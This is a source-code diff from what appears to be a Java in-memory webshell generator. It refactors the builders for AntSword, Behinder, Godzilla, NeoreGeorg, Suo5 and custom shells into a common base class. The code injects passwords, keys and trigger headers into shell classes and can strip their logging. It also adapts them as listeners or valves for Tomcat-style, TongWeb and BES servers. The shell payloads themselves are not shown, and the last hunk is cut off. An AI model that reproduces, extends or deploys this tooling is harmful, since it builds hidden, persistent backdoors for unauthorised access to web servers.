@@ -1,18 +1,8 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.AntSwordConfig; import com.reajason.javaweb.memshell.config.AntSwordConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -20,55 +10,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason * @author ReaJason
* @since 2025/02/18 * @since 2025/02/18
*/ */
public class AntSwordGenerator { public class AntSwordGenerator extends ByteBuddyShellGenerator<AntSwordConfig> {
private final ShellConfig shellConfig; public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig shellToolConfig) {
private final AntSwordConfig antSwordConfig; super(shellConfig, shellToolConfig);
public AntSwordGenerator(ShellConfig shellConfig, AntSwordConfig antSwordConfig) {
this.shellConfig = shellConfig;
this.antSwordConfig = antSwordConfig;
} }
public DynamicType.Builder<?> getBuilder() { @Override
if (antSwordConfig.getShellClass() == null) { protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
throw new IllegalArgumentException("antSwordConfig.getClazz() == null"); return builder.field(named("pass")).value(shellToolConfig.getPass())
} .field(named("headerName")).value(shellToolConfig.getHeaderName())
if (StringUtils.isBlank(antSwordConfig.getPass())) { .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
throw new IllegalArgumentException("antSwordConfig.getPass().isBlank()");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(antSwordConfig.getShellClass())
.name(antSwordConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", antSwordConfig.getPass());
put("headerName", antSwordConfig.getHeaderName());
put("headerValue", antSwordConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(antSwordConfig.getPass())
.field(named("headerName")).value(antSwordConfig.getHeaderName())
.field(named("headerValue")).value(antSwordConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
} }
} }
@@ -1,19 +1,9 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.codec.digest.DigestUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -21,57 +11,15 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason * @author ReaJason
* @since 2024/12/21 * @since 2024/12/21
*/ */
public class BehinderGenerator { public class BehinderGenerator extends ByteBuddyShellGenerator<BehinderConfig> {
private final ShellConfig shellConfig; public BehinderGenerator(ShellConfig shellConfig, BehinderConfig shellToolConfig) {
private final BehinderConfig behinderConfig; super(shellConfig, shellToolConfig);
public BehinderGenerator(ShellConfig shellConfig, BehinderConfig behinderConfig) {
this.shellConfig = shellConfig;
this.behinderConfig = behinderConfig;
} }
public DynamicType.Builder<?> getBuilder() { public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
if (behinderConfig.getShellClass() == null) { String md5Key = DigestUtils.md5Hex(shellToolConfig.getPass()).substring(0, 16);
throw new IllegalArgumentException("behinderConfig.getClazz() == null"); return builder.field(named("pass")).value(md5Key)
} .field(named("headerName")).value(shellToolConfig.getHeaderName())
if (StringUtils.isBlank(behinderConfig.getPass())) { .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
throw new IllegalArgumentException("behinderConfig.getPass().isBlank()");
}
String md5Key = DigestUtils.md5Hex(behinderConfig.getPass()).substring(0, 16);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(behinderConfig.getShellClass())
.name(behinderConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", md5Key);
put("headerName", behinderConfig.getHeaderName());
put("headerValue", behinderConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(md5Key)
.field(named("headerName")).value(behinderConfig.getHeaderName())
.field(named("headerValue")).value(behinderConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
} }
} }
@@ -0,0 +1,63 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.ShellGenerator;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.ShellToolConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2025/5/27
*/
public abstract class ByteBuddyShellGenerator<T extends ShellToolConfig> implements ShellGenerator {
protected final ShellConfig shellConfig;
protected final T shellToolConfig;
protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
this.shellConfig = shellConfig;
this.shellToolConfig = shellToolConfig;
}
protected abstract DynamicType.Builder<?> build(DynamicType.Builder<?> builder);
@Override
public byte[] getBytes() {
Class<?> shellClass = shellToolConfig.getShellClass();
String shellClassName = shellToolConfig.getShellClassName();
DynamicType.Builder<?> builder = build(new ByteBuddy()
.redefine(shellClass)
.name(shellClassName)
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())));
String shellType = shellConfig.getShellType();
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
}
if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
builder = ValveGenerator.build(builder, server, shellConfig.getServerVersion());
}
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return ClassBytesShrink.shrink(unloaded.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.GenerationException;
import com.reajason.javaweb.asm.ClassRenameUtils; import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig; import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -12,25 +13,21 @@ import java.util.Base64;
* @author ReaJason * @author ReaJason
* @since 2025/3/18 * @since 2025/3/18
*/ */
public class CustomShellGenerator { public class CustomShellGenerator extends ASMShellGenerator<CustomConfig> {
private final ShellConfig shellConfig;
private final CustomConfig customConfig;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) { public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
this.shellConfig = shellConfig; super(shellConfig, customConfig);
this.customConfig = customConfig;
} }
@Override
public byte[] getBytes() { public byte[] getBytes() {
String shellClassBase64 = customConfig.getShellClassBase64(); String shellClassBase64 = shellToolConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) { if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty"); throw new GenerationException("Custom shell class is empty");
} }
byte[] classBytes = Base64.getDecoder().decode(shellClassBase64);
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName()); byte[] bytes = ClassRenameUtils.renameClass(classBytes, shellToolConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink()); return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
} }
} }
@@ -1,19 +1,9 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.codec.digest.DigestUtils;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -21,62 +11,20 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason * @author ReaJason
* @since 2024/11/23 * @since 2024/11/23
*/ */
public class GodzillaGenerator { public class GodzillaGenerator extends ByteBuddyShellGenerator<GodzillaConfig> {
private final ShellConfig shellConfig;
private final GodzillaConfig godzillaConfig;
public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) { public GodzillaGenerator(ShellConfig shellConfig, GodzillaConfig godzillaConfig) {
this.shellConfig = shellConfig; super(shellConfig, godzillaConfig);
this.godzillaConfig = godzillaConfig;
} }
public DynamicType.Builder<?> getBuilder() { @Override
if (godzillaConfig.getShellClass() == null) { public DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
throw new IllegalArgumentException("godzillaConfig.getClazz() == null"); String md5Key = DigestUtils.md5Hex(shellToolConfig.getKey()).substring(0, 16);
} String md5 = DigestUtils.md5Hex(shellToolConfig.getPass() + md5Key).toUpperCase();
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) { return builder.field(named("pass")).value(shellToolConfig.getPass())
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()"); .field(named("key")).value(md5Key)
} .field(named("md5")).value(md5)
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16); .field(named("headerName")).value(shellToolConfig.getHeaderName())
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase(); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(godzillaConfig.getShellClass())
.name(godzillaConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("pass", godzillaConfig.getPass());
put("key", md5Key);
put("md5", md5);
put("headerName", godzillaConfig.getHeaderName());
put("headerValue", godzillaConfig.getHeaderValue());
}})
);
} else {
builder = builder.field(named("pass")).value(godzillaConfig.getPass())
.field(named("key")).value(md5Key)
.field(named("md5")).value(md5)
.field(named("headerName")).value(godzillaConfig.getHeaderName())
.field(named("headerValue")).value(godzillaConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
} }
} }
@@ -5,7 +5,7 @@ import com.reajason.javaweb.asm.InnerClassDiscovery;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.*;
import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
@@ -14,12 +14,13 @@ import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.scaffold.TypeValidation; import net.bytebuddy.dynamic.scaffold.TypeValidation;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
import java.util.Base64;;
import java.util.*; import java.util.*;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
@@ -1,20 +1,16 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.utils.ShellCommonUtil;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import java.util.Collections;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
/** /**
* @author ReaJason * @author ReaJason
@@ -22,37 +18,25 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
*/ */
public class ListenerGenerator { public class ListenerGenerator {
public static Class<?> generateListenerShellClass(Class<?> implInterceptor, Class<?> targetClass) { public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5); builder = builder
boolean needAddGetFieldValue = false; .visit(MethodCallReplaceVisitorWrapper.newInstance(
try { "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
targetClass.getMethod("getFieldValue", Object.class, String.class);
} catch (NoSuchMethodException e) {
needAddGetFieldValue = true;
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName).visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(named("getResponseFromRequest"),
new MethodCallReplaceVisitorWrapper(
newClassName,
Collections.singleton(ShellCommonUtil.class.getName()))
)
)
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest"))); .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
if (needAddGetFieldValue) { boolean methodNotFound = TypeDescription.ForLoadedType.of(targetClass)
.getDeclaredMethods()
.filter(named("getFieldValue")
.and(takesArguments(Object.class, String.class)))
.isEmpty();
if (methodNotFound) {
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC) builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
.withParameters(Object.class, String.class) .withParameters(Object.class, String.class)
.throwing(Exception.class)
.intercept(FixedValue.nullValue()) .intercept(FixedValue.nullValue())
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue"))); .visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
} }
return builder;
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded
.load(ListenerGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT)
.getLoaded();
}
} }
} }
@@ -1,66 +1,23 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.NeoreGeorgConfig; import com.reajason.javaweb.memshell.config.NeoreGeorgConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/12 * @since 2025/2/12
*/ */
public class NeoreGeorgGenerator { public class NeoreGeorgGenerator extends ByteBuddyShellGenerator<NeoreGeorgConfig> {
private final ShellConfig shellConfig;
private final NeoreGeorgConfig neoreGeorgConfig;
public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) { public NeoreGeorgGenerator(ShellConfig shellConfig, NeoreGeorgConfig neoreGeorgConfig) {
this.shellConfig = shellConfig; super(shellConfig, neoreGeorgConfig);
this.neoreGeorgConfig = neoreGeorgConfig;
} }
public DynamicType.Builder<?> getBuilder() { @Override
DynamicType.Builder<?> builder = new ByteBuddy() protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
.redefine(neoreGeorgConfig.getShellClass()) return builder.field(named("headerName")).value(shellToolConfig.getHeaderName())
.name(neoreGeorgConfig.getShellClassName()) .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", neoreGeorgConfig.getHeaderName());
put("headerValue", neoreGeorgConfig.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(neoreGeorgConfig.getHeaderName())
.field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
} }
} }
@@ -1,66 +1,25 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.config.Suo5Config; import com.reajason.javaweb.memshell.config.Suo5Config;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
/** /**
* @author ReaJason * @author ReaJason
* @since 2025/2/12 * @since 2025/2/12
*/ */
public class Suo5Generator { public class Suo5Generator extends ByteBuddyShellGenerator<Suo5Config> {
private final ShellConfig shellConfig;
private final Suo5Config suo5Config;
public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) { public Suo5Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
this.shellConfig = shellConfig; super(shellConfig, suo5Config);
this.suo5Config = suo5Config;
} }
public DynamicType.Builder<?> getBuilder() { @Override
DynamicType.Builder<?> builder = new ByteBuddy() protected DynamicType.Builder<?> build(DynamicType.Builder<?> builder) {
.redefine(suo5Config.getShellClass()) return builder
.name(suo5Config.getShellClassName()) .field(named("headerName")).value(shellToolConfig.getHeaderName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion())); .field(named("headerValue")).value(shellToolConfig.getHeaderValue());
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
if (shellConfig.getShellType().startsWith(ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(3) {{
put("headerName", suo5Config.getHeaderName());
put("headerValue", suo5Config.getHeaderValue());
}})
);
} else {
builder = builder
.field(named("headerName")).value(suo5Config.getHeaderName())
.field(named("headerValue")).value(suo5Config.getHeaderValue());
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
} }
} }
@@ -1,24 +1,21 @@
package com.reajason.javaweb.memshell.generator; package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.memshell.utils.CommonUtil; import com.reajason.javaweb.GenerationException;
import com.tongweb.web.thor.comet.CometEvent; import com.reajason.javaweb.memshell.server.AbstractServer;
import com.tongweb.web.thor.connector.Request; import com.reajason.javaweb.memshell.server.Bes;
import com.tongweb.web.thor.connector.Response; import com.reajason.javaweb.memshell.server.TongWeb;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.asm.AsmVisitorWrapper; import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.field.FieldDescription; import net.bytebuddy.description.field.FieldDescription;
import net.bytebuddy.description.field.FieldList; import net.bytebuddy.description.field.FieldList;
import net.bytebuddy.description.method.MethodList; import net.bytebuddy.description.method.MethodList;
import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.description.type.TypeDescription; import net.bytebuddy.description.type.TypeDescription;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
import net.bytebuddy.implementation.FixedValue;
import net.bytebuddy.implementation.Implementation; import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.jar.asm.ClassVisitor; import net.bytebuddy.jar.asm.ClassVisitor;
import net.bytebuddy.jar.asm.commons.ClassRemapper; import net.bytebuddy.jar.asm.commons.ClassRemapper;
import net.bytebuddy.jar.asm.commons.Remapper; import net.bytebuddy.jar.asm.commons.Remapper;
import net.bytebuddy.pool.TypePool; import net.bytebuddy.pool.TypePool;
import org.apache.commons.lang3.StringUtils;
import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.NotNull;
/** /**
@@ -31,6 +28,27 @@ public class ValveGenerator {
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier"; public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor"; public static final String TONGWEB6_VALVE_PACKAGE = "com.tongweb.web.thor";
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina"; public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
String packageName = null;
if (serverVersion.equals("6")) {
packageName = TONGWEB6_VALVE_PACKAGE;
} else if (serverVersion.equals("7")) {
packageName = TONGWEB7_VALVE_PACKAGE;
} else if (serverVersion.equals("8")) {
packageName = TONGWEB8_VALVE_PACKAGE;
} else if (shell instanceof Bes) {
packageName = BES_VALVE_PACKAGE;
}
if (StringUtils.isEmpty(packageName)) {
if (shell instanceof TongWeb) {
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
}
return builder;
}
return builder.visit(new ValveRenameVisitorWrapper(packageName));
}
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper { public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
private final String newPackageName; private final String newPackageName;
@@ -74,26 +92,4 @@ public class ValveGenerator {
}); });
} }
} }
public static Class<?> generateValveClass(String packageName, Class<?> targetClass) {
String newClassName = targetClass.getName() + CommonUtil.getRandomString(5);
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(targetClass)
.name(newClassName)
.visit(new ValveRenameVisitorWrapper(packageName));
if (TONGWEB6_VALVE_PACKAGE.equals(packageName)) {
builder = builder
.defineMethod("getInfo", String.class, Visibility.PUBLIC)
.intercept(FixedValue.value(""))
.defineMethod("event", void.class, Visibility.PUBLIC)
.withParameters(Request.class, Response.class, CometEvent.class)
.intercept(FixedValue.originType());
}
try (DynamicType.Unloaded<?> unloaded = builder.make()) {
return unloaded.load(ValveGenerator.class.getClassLoader(), ClassLoadingStrategy.Default.WRAPPER_PERSISTENT).getLoaded();
}
}
} }
@@ -1,22 +1,17 @@
package com.reajason.javaweb.memshell.generator.command; package com.reajason.javaweb.memshell.generator.command;
import com.reajason.javaweb.ClassBytesShrink; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.*; import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
import net.bytebuddy.ByteBuddy; import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice; import net.bytebuddy.asm.Advice;
import net.bytebuddy.asm.AsmVisitorWrapper;
import net.bytebuddy.description.modifier.Ownership; import net.bytebuddy.description.modifier.Ownership;
import net.bytebuddy.description.modifier.Visibility; import net.bytebuddy.description.modifier.Visibility;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue; import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.lang3.StringUtils;
import java.util.Collections;
import java.util.HashMap;
import static net.bytebuddy.matcher.ElementMatchers.named; import static net.bytebuddy.matcher.ElementMatchers.named;
@@ -24,25 +19,16 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
